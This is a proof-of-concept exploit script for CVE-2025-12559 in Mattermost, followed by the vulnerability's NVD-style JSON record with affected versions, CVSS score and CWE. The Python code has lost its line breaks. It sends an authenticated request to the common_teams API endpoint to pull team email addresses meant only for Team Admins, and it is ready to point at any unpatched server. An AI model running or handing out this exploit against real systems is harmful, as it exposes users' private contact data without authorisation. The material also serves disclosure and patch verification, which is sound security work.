CVE-2025-12559

# CVE-2025-12559 PoC - Mattermost Information Disclosure # Affected Versions: Mattermost 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 import requests import json TARGET_URL = "https://your-mattermost-server.com" CHANNEL_ID = "target_channel_id_here" AUTH_TOKEN = "your_authentication_token" def exploit_cve_2025_12559(): """ Exploit for CVE-2025-12559: Mattermost team email address information disclosure This PoC demonstrates how an authenticated user can retrieve team email addresses that should only be visible to Team Admins. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } endpoint = f"/api/v4/channels/{CHANNEL_ID}/common_teams" url = f"{TARGET_URL}{endpoint}" print(f"[*] Target: {url}") print(f"[*] Exploiting CVE-2025-12559...") try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print("[+] Request successful - Team information retrieved!") print(f"[+] Response data: {json.dumps(data, indent=2)}") # Check if email addresses are exposed if 'teams' in data: for team in data['teams']: if 'email' in team: print(f"[!] WARNING: Team email exposed: {team['email']}") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit_cve_2025_12559()

{"cve": {"id": "CVE-2025-12559", "sourceIdentifier": "[email protected]", "published": "2025-11-27T17:15:46.530", "lastModified": "2025-12-03T15:16:02.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to sanitize team email addresses to be visible only to Team Admins, which allows any authenticated user to view team email addresses via the GET /api/v4/channels/{channel_id}/common_teams endpoint"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.5.0", "versionEndExcluding": "10.5.13", "matchCriteriaId": "91D99F7F-B4EE-447C-9B77-82DD64B1D83A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.5", "matchCriteriaId": "A8368192-621C-4043-827E-DB4F6946AD92"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.12.0", "versionEndExcluding": "10.12.2", "matchCriteriaId": "ED48D731-6490-4DD5-94D4-EE4555BB93ED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.3", "matchCriteriaId": "3A288B87-76F2-415B-8462-3D185EB7A9B3"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}